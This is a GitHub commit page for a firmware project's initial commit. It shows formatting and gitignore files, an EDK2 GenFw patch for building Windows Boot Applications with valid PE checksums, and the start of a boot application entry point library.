Skip to content

Commit a58ece1

Browse files
committedOct 25, 2020
Initial commit
Build: introduce EDK2 BaseTools GenFw BootApp build Introduce GenFw BootApp build capability so it is capable to build Windows Boot Applications without external tool's assistance. Signed-off-by: Bingxing Wang <[email protected]> YahalloPkg: first real public release
0 parents  commit a58ece1

25 files changed

+3264
-0
lines changed
 

‎.clang-format

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
Language: Cpp
2+
BreakBeforeBraces: Stroustrup
3+
PointerAlignment: Right
4+
IndentWidth: 2
5+
AccessModifierOffset: 0
6+
ColumnLimit: 80
7+
NamespaceIndentation: All
8+
AlignTrailingComments: true
9+
AllowAllParametersOfDeclarationOnNextLine: true
10+
AlwaysBreakTemplateDeclarations: true
11+
AlignAfterOpenBracket: AlwaysBreak
12+
UseTab: Never
13+
IncludeBlocks: Preserve
14+
AlignConsecutiveDeclarations: true
15+
AlignConsecutiveAssignments: true
16+
SpacesInParentheses: false
17+
SpaceBeforeParens: ControlStatements

‎.gitignore

+346
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,346 @@
1+
## Ignore Visual Studio temporary files, build results, and
2+
## files generated by popular Visual Studio add-ons.
3+
##
4+
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5+
6+
# User-specific files
7+
*.rsuser
8+
*.suo
9+
*.user
10+
*.userosscache
11+
*.sln.docstates
12+
13+
# User-specific files (MonoDevelop/Xamarin Studio)
14+
*.userprefs
15+
16+
# Mono auto generated files
17+
mono_crash.*
18+
19+
# Build results
20+
[Dd]ebug/
21+
[Dd]ebugPublic/
22+
[Rr]elease/
23+
[Rr]eleases/
24+
bld/
25+
[Bb]in/
26+
[Oo]bj/
27+
[Ll]og/
28+
[Ll]ogs/
29+
30+
# Visual Studio 2015/2017 cache/options directory
31+
.vs/
32+
# Uncomment if you have tasks that create the project's static files in wwwroot
33+
#wwwroot/
34+
35+
# Visual Studio 2017 auto generated files
36+
Generated\ Files/
37+
38+
# MSTest test Results
39+
[Tt]est[Rr]esult*/
40+
[Bb]uild[Ll]og.*
41+
42+
# NUnit
43+
*.VisualState.xml
44+
TestResult.xml
45+
nunit-*.xml
46+
47+
# Build Results of an ATL Project
48+
[Dd]ebugPS/
49+
[Rr]eleasePS/
50+
dlldata.c
51+
52+
# Benchmark Results
53+
BenchmarkDotNet.Artifacts/
54+
55+
# .NET Core
56+
project.lock.json
57+
project.fragment.lock.json
58+
artifacts/
59+
60+
# StyleCop
61+
StyleCopReport.xml
62+
63+
# Files built by Visual Studio
64+
*_i.c
65+
*_p.c
66+
*_h.h
67+
*.ilk
68+
*.meta
69+
*.obj
70+
*.iobj
71+
*.pch
72+
*.pdb
73+
*.ipdb
74+
*.pgc
75+
*.pgd
76+
*.rsp
77+
*.sbr
78+
*.tlb
79+
*.tli
80+
*.tlh
81+
*.tmp
82+
*.tmp_proj
83+
*_wpftmp.csproj
84+
*.log
85+
*.vspscc
86+
*.vssscc
87+
.builds
88+
*.pidb
89+
*.svclog
90+
*.scc
91+
92+
# Chutzpah Test files
93+
_Chutzpah*
94+
95+
# Visual C++ cache files
96+
ipch/
97+
*.aps
98+
*.ncb
99+
*.opendb
100+
*.opensdf
101+
*.sdf
102+
*.cachefile
103+
*.VC.db
104+
*.VC.VC.opendb
105+
106+
# Visual Studio profiler
107+
*.psess
108+
*.vsp
109+
*.vspx
110+
*.sap
111+
112+
# Visual Studio Trace Files
113+
*.e2e
114+
115+
# TFS 2012 Local Workspace
116+
$tf/
117+
118+
# Guidance Automation Toolkit
119+
*.gpState
120+
121+
# ReSharper is a .NET coding add-in
122+
_ReSharper*/
123+
*.[Rr]e[Ss]harper
124+
*.DotSettings.user
125+
126+
# TeamCity is a build add-in
127+
_TeamCity*
128+
129+
# DotCover is a Code Coverage Tool
130+
*.dotCover
131+
132+
# AxoCover is a Code Coverage Tool
133+
.axoCover/*
134+
!.axoCover/settings.json
135+
136+
# Visual Studio code coverage results
137+
*.coverage
138+
*.coveragexml
139+
140+
# NCrunch
141+
_NCrunch_*
142+
.*crunch*.local.xml
143+
nCrunchTemp_*
144+
145+
# MightyMoose
146+
*.mm.*
147+
AutoTest.Net/
148+
149+
# Web workbench (sass)
150+
.sass-cache/
151+
152+
# Installshield output folder
153+
[Ee]xpress/
154+
155+
# DocProject is a documentation generator add-in
156+
DocProject/buildhelp/
157+
DocProject/Help/*.HxT
158+
DocProject/Help/*.HxC
159+
DocProject/Help/*.hhc
160+
DocProject/Help/*.hhk
161+
DocProject/Help/*.hhp
162+
DocProject/Help/Html2
163+
DocProject/Help/html
164+
165+
# Click-Once directory
166+
publish/
167+
168+
# Publish Web Output
169+
*.[Pp]ublish.xml
170+
*.azurePubxml
171+
# Note: Comment the next line if you want to checkin your web deploy settings,
172+
# but database connection strings (with potential passwords) will be unencrypted
173+
*.pubxml
174+
*.publishproj
175+
176+
# Microsoft Azure Web App publish settings. Comment the next line if you want to
177+
# checkin your Azure Web App publish settings, but sensitive information contained
178+
# in these scripts will be unencrypted
179+
PublishScripts/
180+
181+
# NuGet Packages
182+
*.nupkg
183+
# NuGet Symbol Packages
184+
*.snupkg
185+
# The packages folder can be ignored because of Package Restore
186+
**/[Pp]ackages/*
187+
# except build/, which is used as an MSBuild target.
188+
!**/[Pp]ackages/build/
189+
# Uncomment if necessary however generally it will be regenerated when needed
190+
#!**/[Pp]ackages/repositories.config
191+
# NuGet v3's project.json files produces more ignorable files
192+
*.nuget.props
193+
*.nuget.targets
194+
195+
# Microsoft Azure Build Output
196+
csx/
197+
*.build.csdef
198+
199+
# Microsoft Azure Emulator
200+
ecf/
201+
rcf/
202+
203+
# Windows Store app package directories and files
204+
AppPackages/
205+
BundleArtifacts/
206+
Package.StoreAssociation.xml
207+
_pkginfo.txt
208+
*.appx
209+
*.appxbundle
210+
*.appxupload
211+
212+
# Visual Studio cache files
213+
# files ending in .cache can be ignored
214+
*.[Cc]ache
215+
# but keep track of directories ending in .cache
216+
!?*.[Cc]ache/
217+
218+
# Others
219+
ClientBin/
220+
~$*
221+
*~
222+
*.dbmdl
223+
*.dbproj.schemaview
224+
*.jfm
225+
*.pfx
226+
*.publishsettings
227+
orleans.codegen.cs
228+
229+
# Including strong name files can present a security risk
230+
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
231+
#*.snk
232+
233+
# Since there are multiple workflows, uncomment next line to ignore bower_components
234+
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
235+
#bower_components/
236+
237+
# RIA/Silverlight projects
238+
Generated_Code/
239+
240+
# Backup & report files from converting an old project file
241+
# to a newer Visual Studio version. Backup files are not needed,
242+
# because we have git ;-)
243+
_UpgradeReport_Files/
244+
Backup*/
245+
UpgradeLog*.XML
246+
UpgradeLog*.htm
247+
ServiceFabricBackup/
248+
*.rptproj.bak
249+
250+
# SQL Server files
251+
*.mdf
252+
*.ldf
253+
*.ndf
254+
255+
# Business Intelligence projects
256+
*.rdl.data
257+
*.bim.layout
258+
*.bim_*.settings
259+
*.rptproj.rsuser
260+
*- [Bb]ackup.rdl
261+
*- [Bb]ackup ([0-9]).rdl
262+
*- [Bb]ackup ([0-9][0-9]).rdl
263+
264+
# Microsoft Fakes
265+
FakesAssemblies/
266+
267+
# GhostDoc plugin setting file
268+
*.GhostDoc.xml
269+
270+
# Node.js Tools for Visual Studio
271+
.ntvs_analysis.dat
272+
node_modules/
273+
274+
# Visual Studio 6 build log
275+
*.plg
276+
277+
# Visual Studio 6 workspace options file
278+
*.opt
279+
280+
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
281+
*.vbw
282+
283+
# Visual Studio LightSwitch build output
284+
**/*.HTMLClient/GeneratedArtifacts
285+
**/*.DesktopClient/GeneratedArtifacts
286+
**/*.DesktopClient/ModelManifest.xml
287+
**/*.Server/GeneratedArtifacts
288+
**/*.Server/ModelManifest.xml
289+
_Pvt_Extensions
290+
291+
# Paket dependency manager
292+
.paket/paket.exe
293+
paket-files/
294+
295+
# FAKE - F# Make
296+
.fake/
297+
298+
# CodeRush personal settings
299+
.cr/personal
300+
301+
# Python Tools for Visual Studio (PTVS)
302+
__pycache__/
303+
*.pyc
304+
305+
# Cake - Uncomment if you are using it
306+
# tools/**
307+
# !tools/packages.config
308+
309+
# Tabs Studio
310+
*.tss
311+
312+
# Telerik's JustMock configuration file
313+
*.jmconfig
314+
315+
# BizTalk build output
316+
*.btp.cs
317+
*.btm.cs
318+
*.odx.cs
319+
*.xsd.cs
320+
321+
# OpenCover UI analysis results
322+
OpenCover/
323+
324+
# Azure Stream Analytics local run output
325+
ASALocalRun/
326+
327+
# MSBuild Binary and Structured Log
328+
*.binlog
329+
330+
# NVidia Nsight GPU debugger configuration file
331+
*.nvuser
332+
333+
# MFractors (Xamarin productivity tool) working folder
334+
.mfractor/
335+
336+
# Local History for Visual Studio
337+
.localhistory/
338+
339+
# BeatPulse healthcheck temp database
340+
healthchecksdb
341+
342+
# Backup folder for Package Reference Convert tool in Visual Studio 2017
343+
MigrationBackup/
344+
345+
# Ionide (cross platform F# VS Code tools) working folder
346+
.ionide/
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,271 @@
1+
From 9ba52e2620d0c674ed791b9e9bdf0dbf15900d92 Mon Sep 17 00:00:00 2001
2+
From: Bingxing Wang <i@imbushuo.net>
3+
Date: Sun, 25 Oct 2020 01:00:24 -0400
4+
Subject: [PATCH] BaseTools: support generation of Windows Boot Application
5+
6+
Introduce the support for generating Windows Boot Application PE
7+
files with an override switch. In addition, Windows Boot Apps re
8+
quire PE checksum to be valid. GenFw doesn't populate the PE che
9+
cksum field, so this is also added.
10+
11+
The checksum generation algorithm is taken from Windows NT 3.51
12+
public SDK's source.
13+
14+
Signed-off-by: Bingxing Wang <i@imbushuo.net>
15+
---
16+
BaseTools/Source/C/Common/BasePeCoff.c | 6 +-
17+
BaseTools/Source/C/GenFw/GenFw.c | 114 ++++++++++++++++++
18+
.../C/Include/IndustryStandard/PeImage.h | 5 +
19+
3 files changed, 123 insertions(+), 2 deletions(-)
20+
21+
diff --git a/BaseTools/Source/C/Common/BasePeCoff.c b/BaseTools/Source/C/Common/BasePeCoff.c
22+
index 62fbb2985c..6b536772f1 100644
23+
--- a/BaseTools/Source/C/Common/BasePeCoff.c
24+
+++ b/BaseTools/Source/C/Common/BasePeCoff.c
25+
@@ -185,7 +185,8 @@ Returns:
26+
ImageContext->Machine != EFI_IMAGE_MACHINE_EBC && \
27+
ImageContext->Machine != EFI_IMAGE_MACHINE_AARCH64 && \
28+
ImageContext->Machine != EFI_IMAGE_MACHINE_RISCV64) {
29+
- if (ImageContext->Machine == IMAGE_FILE_MACHINE_ARM) {
30+
+ if (ImageContext->Machine == IMAGE_FILE_MACHINE_ARM ||
31+
+ ImageContext->Machine == IMAGE_FILE_MACHINE_ARMNT) {
32+
//
33+
// There are two types of ARM images. Pure ARM and ARM/Thumb.
34+
// If we see the ARM say it is the ARM/Thumb so there is only
35+
@@ -219,7 +220,8 @@ Returns:
36+
if (ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_APPLICATION && \
37+
ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER && \
38+
ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER && \
39+
- ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER) {
40+
+ ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER &&
41+
+ ImageContext->ImageType != EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION) {
42+
//
43+
// unsupported PeImage subsystem type
44+
//
45+
diff --git a/BaseTools/Source/C/GenFw/GenFw.c b/BaseTools/Source/C/GenFw/GenFw.c
46+
index 8cab70ba4d..28b4c48f8c 100644
47+
--- a/BaseTools/Source/C/GenFw/GenFw.c
48+
+++ b/BaseTools/Source/C/GenFw/GenFw.c
49+
@@ -87,6 +87,7 @@ UINT32 mImageTimeStamp = 0;
50+
UINT32 mImageSize = 0;
51+
UINT32 mOutImageType = FW_DUMMY_IMAGE;
52+
BOOLEAN mIsConvertXip = FALSE;
53+
+BOOLEAN mIsConvertArmToArmThumb2 = FALSE;
54+
55+
56+
STATIC
57+
@@ -251,6 +252,11 @@ Returns:
58+
fprintf (stdout, " -r, --replace Overwrite the input file with the output content.\n\
59+
If more input files are specified,\n\
60+
the last input file will be as the output file.\n");
61+
+ fprintf (stdout, " --convert-output-machine-arm-to-thumb2\n\
62+
+ If the output machine type is IMAGE_FILE_MACHINE_ARM\n\
63+
+ or ARMT, convert to IMAGE_FILE_MACHINE_ARMNT (Thumb2)\n");
64+
+ fprintf (stdout, " --windows-boot-application\n\
65+
+ Force subsystem type to WINDOWS_BOOT_APPLICATION\n");
66+
fprintf (stdout, " -g HiiPackageListGuid, --hiiguid HiiPackageListGuid\n\
67+
Guid is used to specify hii package list guid.\n\
68+
Its format is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n\
69+
@@ -1032,6 +1038,46 @@ Returns:
70+
return Status;
71+
}
72+
73+
+UINT16 ChkSum(
74+
+ UINT32 PartialSum,
75+
+ UINT16* Source,
76+
+ UINT32 Length
77+
+ )
78+
+/*++
79+
+
80+
+Routine description:
81+
+
82+
+ ChkSum() - Compute a partial checksum on a portion of an imagefile.
83+
+ Taken from Windows NT 3.51 SDK distribution.
84+
+
85+
+ FROM "imagehlp/imagedir.c": Steve Wood 18-Aug-1989
86+
+
87+
+Arguments:
88+
+
89+
+ PartialSum Supplies the initial checksum value.
90+
+ Sources Supplies a pointer to the array of words for which the
91+
+ checksum is computed.
92+
+ Length Supplies the length of the array in words.
93+
+
94+
+Returns:
95+
+ The computed checksum value is returned as the function value.
96+
+
97+
+--*/
98+
+{
99+
+ // Compute the word wise checksum allowing carries to occur into the
100+
+ // high order half of the checksum longword.
101+
+ while (Length--) {
102+
+ PartialSum += *Source++;
103+
+ PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
104+
+ }
105+
+
106+
+ //
107+
+ // Fold final carry into a single word result and return the resultant
108+
+ // value.
109+
+ //
110+
+ return (UINT16)(((PartialSum >> 16) + PartialSum) & 0xffff);
111+
+}
112+
+
113+
int
114+
main (
115+
int argc,
116+
@@ -1116,6 +1162,9 @@ Returns:
117+
time_t OutputFileTime;
118+
struct stat Stat_Buf;
119+
BOOLEAN ZeroDebugFlag;
120+
+ UINTN DesiredSubsystemOverride;
121+
+ UINT16 PartialSum;
122+
+ UINT16 *AdjustSum;
123+
124+
SetUtilityName (UTILITY_NAME);
125+
126+
@@ -1165,6 +1214,10 @@ Returns:
127+
OutputFileTime = 0;
128+
ZeroDebugFlag = FALSE;
129+
130+
+ DesiredSubsystemOverride = -1;
131+
+ PartialSum = 0;
132+
+ AdjustSum = NULL;
133+
+
134+
if (argc == 1) {
135+
Error (NULL, 0, 1001, "Missing options", "No input options.");
136+
Usage ();
137+
@@ -1304,6 +1357,20 @@ Returns:
138+
continue;
139+
}
140+
141+
+ if (stricmp (argv[0], "--convert-output-machine-arm-to-thumb2") == 0) {
142+
+ mIsConvertArmToArmThumb2 = TRUE;
143+
+ argc --;
144+
+ argv ++;
145+
+ continue;
146+
+ }
147+
+
148+
+ if (stricmp (argv[0], "--windows-boot-application") == 0) {
149+
+ DesiredSubsystemOverride = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION;
150+
+ argc --;
151+
+ argv ++;
152+
+ continue;
153+
+ }
154+
+
155+
if ((stricmp (argv[0], "-m") == 0) || (stricmp (argv[0], "--mcifile") == 0)) {
156+
mOutImageType = FW_MCI_IMAGE;
157+
argc --;
158+
@@ -2045,6 +2112,11 @@ Returns:
159+
Type = EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER;
160+
VerboseMsg ("Efi Image subsystem type is efi sal runtime driver.");
161+
162+
+ } else if (stricmp (ModuleType, "WINDOWS_BOOT_APPLICATION") == 0 ||
163+
+ stricmp (ModuleType, "BOOT_APPLICATION") == 0) {
164+
+ Type = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION;
165+
+ VerboseMsg ("Efi Image subsystem type is windows boot application.");
166+
+
167+
} else {
168+
Error (NULL, 0, 1003, "Invalid option value", "EFI_FILETYPE = %s", ModuleType);
169+
goto Finish;
170+
@@ -2052,6 +2124,11 @@ Returns:
171+
}
172+
}
173+
174+
+ if (DesiredSubsystemOverride != -1) {
175+
+ VerboseMsg ("Forcibly converting Efi Image subsystem type to windows boot application.");
176+
+ Type = EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION;
177+
+ }
178+
+
179+
//
180+
// Convert ELF image to PeImage
181+
//
182+
@@ -2187,6 +2264,13 @@ Returns:
183+
PeHdr->Pe32.FileHeader.Machine = IMAGE_FILE_MACHINE_ARMT;
184+
}
185+
186+
+ if (mIsConvertArmToArmThumb2 &&
187+
+ (PeHdr->Pe32.FileHeader.Machine == IMAGE_FILE_MACHINE_ARM ||
188+
+ PeHdr->Pe32.FileHeader.Machine == IMAGE_FILE_MACHINE_ARMT)) {
189+
+ VerboseMsg ("Converting output subsystem to IMAGE_FILE_MACHINE_ARMNT");
190+
+ PeHdr->Pe32.FileHeader.Machine = IMAGE_FILE_MACHINE_ARMNT;
191+
+ }
192+
+
193+
//
194+
// Set new base address into image
195+
//
196+
@@ -2657,6 +2741,36 @@ Returns:
197+
}
198+
}
199+
200+
+ //
201+
+ // Normally PE/COFF checksum is not required, but in certain scenarios
202+
+ // This is useful (for instance, Windows Boot Manager checks it)
203+
+ //
204+
+ // The following code is taken from Windows NT 3.51 SDK distribution.
205+
+ //
206+
+ if (mOutImageType == FW_EFI_IMAGE && PeHdr->Pe32.OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR32_MAGIC) {
207+
+ Optional32 = (EFI_IMAGE_OPTIONAL_HEADER32 *)&PeHdr->Pe32.OptionalHeader;
208+
+ PartialSum = ChkSum(0, (UINT16*) FileBuffer, (FileLength + 1) >> 1);
209+
+
210+
+ AdjustSum = (UINT16*) &Optional32->CheckSum;
211+
+ PartialSum -= (PartialSum < AdjustSum[0]);
212+
+ PartialSum -= AdjustSum[0];
213+
+ PartialSum -= (PartialSum < AdjustSum[1]);
214+
+ PartialSum -= AdjustSum[1];
215+
+
216+
+ Optional32->CheckSum = (UINT32) PartialSum + FileLength;
217+
+ } else if (mOutImageType == FW_EFI_IMAGE && PeHdr->Pe32.OptionalHeader.Magic == EFI_IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
218+
+ Optional64 = (EFI_IMAGE_OPTIONAL_HEADER64 *)&PeHdr->Pe32.OptionalHeader;
219+
+ PartialSum = ChkSum(0, (UINT16*) FileBuffer, (FileLength + 1) >> 1);
220+
+
221+
+ AdjustSum = (UINT16*) &Optional64->CheckSum;
222+
+ PartialSum -= (PartialSum < AdjustSum[0]);
223+
+ PartialSum -= AdjustSum[0];
224+
+ PartialSum -= (PartialSum < AdjustSum[1]);
225+
+ PartialSum -= AdjustSum[1];
226+
+
227+
+ Optional64->CheckSum = (UINT32) PartialSum + FileLength;
228+
+ }
229+
+
230+
WriteFile:
231+
//
232+
// Update Image to EfiImage or TE image
233+
diff --git a/BaseTools/Source/C/Include/IndustryStandard/PeImage.h b/BaseTools/Source/C/Include/IndustryStandard/PeImage.h
234+
index f17b8ee19b..0b025a549a 100644
235+
--- a/BaseTools/Source/C/Include/IndustryStandard/PeImage.h
236+
+++ b/BaseTools/Source/C/Include/IndustryStandard/PeImage.h
237+
@@ -23,6 +23,8 @@
238+
#define EFI_IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12
239+
#define EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER 13
240+
241+
+#define EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16
242+
+
243+
//
244+
// BugBug: Need to get a real answer for this problem. This is not in the
245+
// PE specification.
246+
@@ -33,12 +35,14 @@
247+
//
248+
#define EFI_IMAGE_SUBSYSTEM_SAL_RUNTIME_DRIVER 13
249+
250+
+
251+
//
252+
// PE32+ Machine type for EFI images
253+
//
254+
#define IMAGE_FILE_MACHINE_I386 0x014c
255+
#define IMAGE_FILE_MACHINE_EBC 0x0EBC
256+
#define IMAGE_FILE_MACHINE_X64 0x8664
257+
+#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // 32-bit ARMv7-based Thumb2
258+
#define IMAGE_FILE_MACHINE_ARM 0x01c0 // Thumb only
259+
#define IMAGE_FILE_MACHINE_ARMT 0x01c2 // 32bit Mixed ARM and Thumb/Thumb 2 Little Endian
260+
#define IMAGE_FILE_MACHINE_ARM64 0xAA64 // 64bit ARM Architecture, Little Endian
261+
@@ -50,6 +54,7 @@
262+
#define EFI_IMAGE_MACHINE_IA32 IMAGE_FILE_MACHINE_I386
263+
#define EFI_IMAGE_MACHINE_EBC IMAGE_FILE_MACHINE_EBC
264+
#define EFI_IMAGE_MACHINE_X64 IMAGE_FILE_MACHINE_X64
265+
+#define EFI_IMAGE_MACHINE_ARMNT IMAGE_FILE_MACHINE_ARMNT
266+
#define EFI_IMAGE_MACHINE_ARMT IMAGE_FILE_MACHINE_ARMT
267+
#define EFI_IMAGE_MACHINE_AARCH64 IMAGE_FILE_MACHINE_ARM64
268+
#define EFI_IMAGE_MACHINE_RISCV64 IMAGE_FILE_MACHINE_RISCV64
269+
--
270+
2.17.1
271+

‎Edk2Patches/README.txt

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
The patch provided in this folder is a workaround for EDK2 build system in order
2+
to generate valid Windows Boot Application.
3+
4+
To apply this:
5+
6+
git apply YahalloPkg/Edk2Patches/0001-BaseTools-support-generation-of-Windows-Boot-Applica.patch
7+
make -C BaseTools

‎Include/IndustryStandard/WindowsBootManager.h

+572
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
/** @file
2+
Module entry point library for Windows Boot Applications.
3+
4+
Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.<BR>
5+
Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
6+
Copyright (c) 2019 - 2020, Bingxing Wang. All rights reserved.<BR>
7+
SPDX-License-Identifier: GPL-2.0-only
8+
9+
**/
10+
11+
#ifndef __WINDOWS_BOOT_APPLICATION_ENTRY_POINT_H__
12+
#define __WINDOWS_BOOT_APPLICATION_ENTRY_POINT_H__
13+
14+
#include <IndustryStandard/WindowsBootManager.h>
15+
16+
///
17+
/// Declare the EFI/UEFI Specification Revision to which this driver is
18+
/// implemented
19+
///
20+
extern CONST UINT32 _gUefiDriverRevision;
21+
22+
/**
23+
Entry point to UEFI Application.
24+
25+
This function is the entry point for a UEFI Application. This function must
26+
call ProcessLibraryConstructorList(), ProcessModuleEntryPointList(), and
27+
ProcessLibraryDestructorList(). The return value from
28+
ProcessModuleEntryPointList() is returned. If _gUefiDriverRevision is not zero
29+
and SystemTable->Hdr.Revision is less than _gUefiDriverRevison, then return
30+
EFI_INCOMPATIBLE_VERSION.
31+
32+
@param ImageHandle The image handle of the UEFI Application.
33+
@param SystemTable A pointer to the EFI System Table.
34+
35+
@retval EFI_SUCCESS The UEFI Application exited normally.
36+
@retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than
37+
SystemTable->Hdr.Revision.
38+
@retval Other Return value from
39+
ProcessModuleEntryPointList().
40+
41+
**/
42+
EFI_STATUS
43+
EFIAPI
44+
_EfiModuleEntryPoint(
45+
IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable);
46+
47+
/**
48+
Required by the EBC compiler and identical in functionality to
49+
_ModuleEntryPoint().
50+
51+
@param ImageHandle The image handle of the UEFI Application.
52+
@param SystemTable A pointer to the EFI System Table.
53+
54+
@retval EFI_SUCCESS The UEFI Application exited normally.
55+
@retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than
56+
SystemTable->Hdr.Revision.
57+
@retval Other Return value from
58+
ProcessModuleEntryPointList().
59+
60+
**/
61+
EFI_STATUS
62+
EFIAPI
63+
EfiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable);
64+
65+
/**
66+
Invokes the library destructors for all dependent libraries and terminates
67+
the UEFI Application.
68+
69+
This function calls ProcessLibraryDestructorList() and the EFI Boot Service
70+
Exit() with a status specified by Status.
71+
72+
@param Status Status returned by the application that is exiting.
73+
74+
**/
75+
VOID EFIAPI Exit(IN EFI_STATUS Status);
76+
77+
/**
78+
Autogenerated function that calls the library constructors for all of the
79+
module's dependent libraries.
80+
81+
This function must be called by _ModuleEntryPoint().
82+
This function calls the set of library constructors for the set of library
83+
instances that a module depends on. This includes library instances that a
84+
module depends on directly and library instances that a module depends on
85+
indirectly through other libraries. This function is autogenerated by build
86+
tools and those build tools are responsible for collecting the set of library
87+
instances, determine which ones have constructors, and calling the library
88+
constructors in the proper order based upon each of the library instances own
89+
dependencies.
90+
91+
@param ImageHandle The image handle of the UEFI Application.
92+
@param SystemTable A pointer to the EFI System Table.
93+
94+
**/
95+
VOID EFIAPI ProcessLibraryConstructorList(
96+
IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable);
97+
98+
/**
99+
Autogenerated function that calls the library descructors for all of the
100+
module's dependent libraries.
101+
102+
This function may be called by _ModuleEntryPoint()or Exit().
103+
This function calls the set of library destructors for the set of library
104+
instances that a module depends on. This includes library instances that a
105+
module depends on directly and library instances that a module depends on
106+
indirectly through other libraries. This function is autogenerated by build
107+
tools and those build tools are responsible for collecting the set of library
108+
instances, determine which ones have destructors, and calling the library
109+
destructors in the proper order based upon each of the library instances own
110+
dependencies.
111+
112+
@param ImageHandle The image handle of the UEFI Application.
113+
@param SystemTable A pointer to the EFI System Table.
114+
115+
**/
116+
VOID EFIAPI ProcessLibraryDestructorList(
117+
IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable);
118+
119+
/**
120+
This function calls the set of module entry points. It must be called by
121+
_ModuleEntryPoint().
122+
123+
This function is autogenerated by build tools and those build tools are
124+
responsible for collecting the module entry points and calling them in a
125+
specified order.
126+
127+
@param ImageHandle The image handle of the UEFI Application.
128+
@param SystemTable A pointer to the EFI System Table.
129+
130+
@retval EFI_SUCCESS The UEFI Application executed normally.
131+
@retval !EFI_SUCCESS The UEFI Application failed to execute normally.
132+
133+
**/
134+
EFI_STATUS
135+
EFIAPI
136+
ProcessModuleEntryPointList(
137+
IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable);
138+
139+
/**
140+
Windows Boot Application's version of _ModuleEntryPoint.
141+
142+
This function is the entry point for a Windows Boot Application. This function
143+
performs required processor state switch, then hands over control to
144+
EFI's entry point, see BlpEfiMain for details.
145+
146+
@param BootAppParameters Boot Application Params
147+
@param LibraryParameters Library Params, remains unused.
148+
149+
@retval STATUS_SUCCESS The boot application exited normally.
150+
@retval STATUS_INVALID_PARAMETER The boot application entry doesn't contain
151+
valid app params.
152+
153+
**/
154+
NTSTATUS
155+
_ModuleEntryPoint(
156+
IN PBOOT_APPLICATION_PARAMETER_BLOCK BootAppParameters,
157+
IN PBL_LIBRARY_PARAMETERS LibraryParameters);
158+
159+
#endif

‎LICENSE

+348
Large diffs are not rendered by default.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,247 @@
1+
/** @file
2+
Entry point library instance to a Windows Boot Manager application.
3+
4+
Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.<BR>
5+
Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
6+
Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights
7+
reserved.<BR> SPDX-License-Identifier: GPL-2.0-only
8+
9+
**/
10+
11+
#include <Uefi.h>
12+
13+
#include <Library/BaseLib.h>
14+
#include <Library/DebugLib.h>
15+
#include <Library/UefiBootServicesTableLib.h>
16+
#include <Library/WindowsBootApplicationEntryPoint.h>
17+
18+
#include <Library/ArmLib.h>
19+
#include <Library/CacheMaintenanceLib.h>
20+
21+
#include "Arm/ArmV7Lib.h"
22+
23+
/**
24+
Entry point to UEFI Application.
25+
26+
This function is the entry point for a UEFI Application. This function must
27+
call ProcessLibraryConstructorList(), ProcessModuleEntryPointList(), and
28+
ProcessLibraryDestructorList(). The return value from
29+
ProcessModuleEntryPointList() is returned. If _gUefiDriverRevision is not zero
30+
and SystemTable->Hdr.Revision is less than _gUefiDriverRevison, then return
31+
EFI_INCOMPATIBLE_VERSION.
32+
33+
@param ImageHandle The image handle of the UEFI Application.
34+
@param SystemTable A pointer to the EFI System Table.
35+
36+
@retval EFI_SUCCESS The UEFI Application exited normally.
37+
@retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than
38+
SystemTable->Hdr.Revision.
39+
@retval Other Return value from
40+
ProcessModuleEntryPointList().
41+
42+
**/
43+
EFI_STATUS
44+
EFIAPI
45+
_EfiModuleEntryPoint(
46+
IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
47+
{
48+
EFI_STATUS Status;
49+
50+
if (_gUefiDriverRevision != 0) {
51+
//
52+
// Make sure that the EFI/UEFI spec revision of the platform is >= EFI/UEFI
53+
// spec revision of the application.
54+
//
55+
if (SystemTable->Hdr.Revision < _gUefiDriverRevision) {
56+
return EFI_INCOMPATIBLE_VERSION;
57+
}
58+
}
59+
60+
//
61+
// Call constructor for all libraries.
62+
//
63+
ProcessLibraryConstructorList(ImageHandle, SystemTable);
64+
